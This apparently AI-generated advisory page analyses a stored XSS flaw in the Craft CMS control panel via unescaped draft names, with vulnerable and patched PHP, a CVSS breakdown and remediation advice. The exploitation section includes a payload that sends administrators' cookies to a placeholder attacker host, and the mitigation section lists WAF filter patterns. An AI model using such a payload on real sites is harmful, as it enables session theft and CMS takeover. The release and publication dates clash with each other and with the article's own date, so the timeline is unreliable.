CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-2RP4-X2J7-QMCC

GHSA-2RP4-X2J7-QMCC: Stored Cross-Site Scripting via Draft Names in Craft CMS Control Panel

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 7, 2026·6 min read·0 visits

Executive Summary (TL;DR)

Craft CMS control panel is vulnerable to stored XSS via draft names because Yii's Html::tag helper does not auto-encode input, allowing authenticated authors to execute arbitrary JavaScript in administrators' browsers.

An authenticated stored Cross-Site Scripting (XSS) vulnerability exists in the Control Panel helper of Craft CMS before version 5.10.8. Due to lack of HTML entity encoding within the elementLabelHtml method, unescaped draft names are rendered directly into administrative interfaces.

Vulnerability Overview

Craft CMS is a widely used PHP-based content management system developed to create tailored digital experiences. Its administrative interface, known as the Control Panel, exposes a substantial attack surface via user-controlled parameters that populate listings, cards, and metadata grids. In particular, the system represents state variations of elements using small visual badges or chips to help editors identify entries in active editing stages.

A stored Cross-Site Scripting (XSS) vulnerability identified as GHSA-2RP4-X2J7-QMCC resides in the Control Panel helper component responsible for generating these visual labels. The flaw lies within the private method elementLabelHtml located in the src/helpers/Cp.php helper class. The method fails to sanitize user-supplied draft names prior to outputting them inside the administrative interface.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the payload persists in the database and executes inside the sessions of other Control Panel users, including administrators, the risk of escalation is significant. Any authenticated user with access to draft creation can inject arbitrary scripts to compromise highly privileged administrative sessions.

Root Cause Analysis

The technical root cause of GHSA-2RP4-X2J7-QMCC is the lack of proper encoding when rendering the $element->draftName property within the administrative template helper. The draft name property holds a string representation supplied by the content editor when saving a draft. Because this string is fully controlled by the client, it is classified as an untrusted data source.

The vulnerability manifests when the application attempts to build the HTML string for the draft state badge. To construct the container tag, the helper class calls a helper method from the underlying framework: Html::tag('span', $content, $options). This method is a direct wrapper around Yii 2 framework's yii\helpers\Html::tag() function.

In the Yii 2 framework, the $content parameter passed to the tag() helper is not automatically HTML-encoded. This design decision allows developers to pass pre-built, nested HTML nodes into container elements. Consequently, when the raw, unescaped $element->draftName value is passed as the content parameter, any HTML markup within the string persists intact within the generated template and is rendered directly inside the document object model.

Code Analysis

Analyzing the unpatched implementation of src/helpers/Cp.php reveals how the unescaped input enters the rendering pipeline. The vulnerability is located inside the elementLabelHtml function around line 1150:

// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
    /** @var DraftBehavior&ElementInterface $element */
    $content .= Html::tag('span', $element->draftName ?: Craft::t('app', 'Draft'), [
        'class' => 'context-label',
    ]);
}

In this implementation, the code evaluates if the element is a draft, ensures it is neither provisional nor unpublished, and appends a span element. The second argument of Html::tag evaluates directly to the unescaped $element->draftName if present. If an attacker inputs <script>alert(1)</script> as the draft name, the server outputs <span class="context-label"><script>alert(1)</script></span>.

The official patch modified this block to explicitly encode the input variable:

// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
    /** @var DraftBehavior&ElementInterface $element */
    $content .= Html::tag(
        'span',
        $element->draftName ? Html::encode($element->draftName) : Craft::t('app', 'Draft'),
        ['class' => 'context-label'],
    );
}

By routing the property through Html::encode(), special characters are translated into secure entities (e.g., < becomes &lt;). While this fix successfully neutralizes HTML execution inside standard document structures, developers must ensure that provisional or unpublished draft names are not rendered unescaped in other unpatched classes.

Exploitation Methodology

To execute this exploit, an attacker requires credentials to an account with permissions to edit or create entry drafts, such as an external contributor or standard content author. The attack is structured to exploit the implicit trust placed in draft parameters.

First, the attacker logs into the Control Panel and navigates to an entry interface. They create a draft and configure its name to include a typical image-based injection payload: <img src=x onerror="fetch('https://attacker.com/exfil?c=' + btoa(document.cookie))">. The database stores this malicious payload in the draft name field.

Second, the administrator logs into the system and requests the global entries directory or dashboard widget. The server invokes the elementLabelHtml helper to generate the listing badges. Because the browser interprets the unescaped payload within the administrator's context, the JavaScript executes, enabling the attacker to harvest the session identifier and bypass security controls.

Impact Assessment

The impact of this stored XSS is elevated due to its location inside the administrative backend of the application. The executed script inherits the full authorizations and session characteristics of the victim. If the victim is an administrator, the attacker gains complete control over the CMS installation.

Actions possible via administrative context execution include the creation of new users with administrator privileges, direct database query execution via exposed utility panels, and modification of system settings. Furthermore, an attacker can disable auditing mechanisms or inject malicious scripts into public-facing templates, establishing a path to compromise site visitors.

The calculated CVSS version 3.1 base score is 8.2 (High). The vector details are CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. The scope is rated as 'Changed' (S:C) because exploitation allows escaping the limited user space of an editor and running tasks within the administrative security context. Availability is unaffected, as the script does not crash the database or web services.

Remediation & Mitigation

The permanent remediation for GHSA-2RP4-X2J7-QMCC is upgrading the Craft CMS codebase to version 5.10.8 or newer. Upgrades should be conducted via Composer to ensure dependencies and autoload tables update correctly.

If immediate system upgrades are restricted by change-management processes, several temporary defense-in-depth measures are available. Applying a comprehensive Content Security Policy (CSP) restricts the execution of unauthorized inline scripts. The policy should mandate script nonces or restrict execution to trusted origin servers, minimizing the threat of unescaped browser payloads.

Web Application Firewalls (WAFs) can also inspect incoming requests targeting draft updates. Rules should flag and block parameters matching typical execution events (e.g., <script>, onerror=, onload=). However, server-side code correction remains the only definitive resolution to address the root escaping issue.

Official Patches

Craft CMSOfficial fix commit implementing Html::encode inside Cp.php
Craft CMSCraft CMS 5.10.8 release notes details

Fix Analysis (1)

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Craft CMS Control Panel

Affected Versions Detail

Product
Affected Versions
Fixed Version
Craft CMS
Craft CMS
< 5.10.85.10.8
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v3.1 Score8.2 (High)
Exploit StatusProof of Concept
Vulnerability TypeStored Cross-Site Scripting (XSS)
Affected Componentsrc/helpers/Cp.php (elementLabelHtml method)

MITRE ATT&CK Mapping

T1204.001User Execution: Malicious Link/Script
Execution
T1562Impair Defenses: Disable or Modify Tools
Defense Evasion
T1078Valid Accounts
Privilege Escalation
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Security fix commit 06c799148537ce960f6bc86e162b499947040eda completed by Brandon Kelly.
2026-06-19
Release of Craft CMS 5.10.7 (prior unpatched version).
2027-06-17
Release of Craft CMS 5.10.8 addressing the stored XSS vulnerability.
2027-06-20
Publication of the GitHub Security Advisory GHSA-2RP4-X2J7-QMCC.
2027-06-21

References & Sources

  • [1]GitHub Security Advisory GHSA-2RP4-X2J7-QMCC
  • [2]Official Craft CMS Fix Commit
  • [3]Craft CMS 5.10.8 Release

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•6 minutes ago•CVE-2026-67434
7.3

CVE-2026-67434: OS Command Injection via Malicious Filenames in PHP_CodeSniffer Blame Reports

A critical OS command injection vulnerability exists in PHP_CodeSniffer's VCS blame report modules (Gitblame, Hgblame, Svnblame). Due to inadequate escaping of filenames passed to shell execution wrappers like popen(), an attacker who commits a file with a maliciously crafted name can execute arbitrary commands when the victim generates a blame report.

Alon Barad
Alon Barad
0 views•6 min read
•about 2 hours ago•GHSA-7HXC-F267-H5Q7
4.9

GHSA-7HXC-F267-H5Q7: Path Traversal via Validation-then-Normalization in Craft CMS

A path traversal vulnerability exists in the local filesystem driver of Craft CMS. Due to validation occurring before path normalization, directory containment checks can be bypassed by utilizing specific protocol schemes like 'file://' along with directory traversal sequences. This allows authenticated users with administrative privileges to access or manipulate files outside the defined storage root directory.

Alon Barad
Alon Barad
1 views•8 min read
•about 3 hours ago•GHSA-RVMM-V933-JGXQ
5.3

GHSA-rvmm-v933-jgxq: Missing Authorization Check in Craft CMS ChartsController

An authorization bypass vulnerability in Craft CMS allows unauthenticated or low-privileged users to query and obtain sensitive time-series user registration counts and demographic metrics. This is due to a missing authorization check inside the actionGetNewUsersData endpoint of the ChartsController class.

Alon Barad
Alon Barad
1 views•6 min read
•about 4 hours ago•GHSA-596P-6JV8-775V
5.1

GHSA-596p-6jv8-775v: Authenticated Leak of Secret Environment Variables in Craft CMS

An authenticated information disclosure vulnerability in Craft CMS allows high-privilege administrators to extract sensitive environment variables, including the CRAFT_SECURITY_KEY and database credentials, using a blind error-based template injection attack within element select condition rules.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 5 hours ago•CVE-2026-71554
5.3

CVE-2026-71554: HTTP Request Smuggling via Duplicate Host Headers in h2 Protocol Stack

A protocol-parsing vulnerability in the pure-Python HTTP/2 library 'h2' (versions <= 4.4.0) allows unauthenticated remote attackers to perform HTTP Request Smuggling (CWE-444). The vulnerability exists because the library does not validate the uniqueness of 'Host' headers in incoming HTTP/2 request streams. When an upstream gateway parses such requests and downgrades them to HTTP/1.1 for internal backend servers, the resulting stream contains duplicate Host headers, which leads to parsing inconsistency and potential bypass of security filters.

Alon Barad
Alon Barad
3 views•5 min read
•about 6 hours ago•GHSA-957R-QF9P-67XW
4.9

GHSA-957R-QF9P-67XW: Arbitrary File Read via SplFileObject in Craft CMS Twig Extension

An information disclosure vulnerability in Craft CMS allows users with administrative or non-sandboxed template-authoring privileges to read arbitrary system and configuration files. The issue stems from an incomplete class instantiation blocklist in the Twig template extension, which omitted PHP's built-in SplFileObject class.

Alon Barad
Alon Barad
4 views•6 min read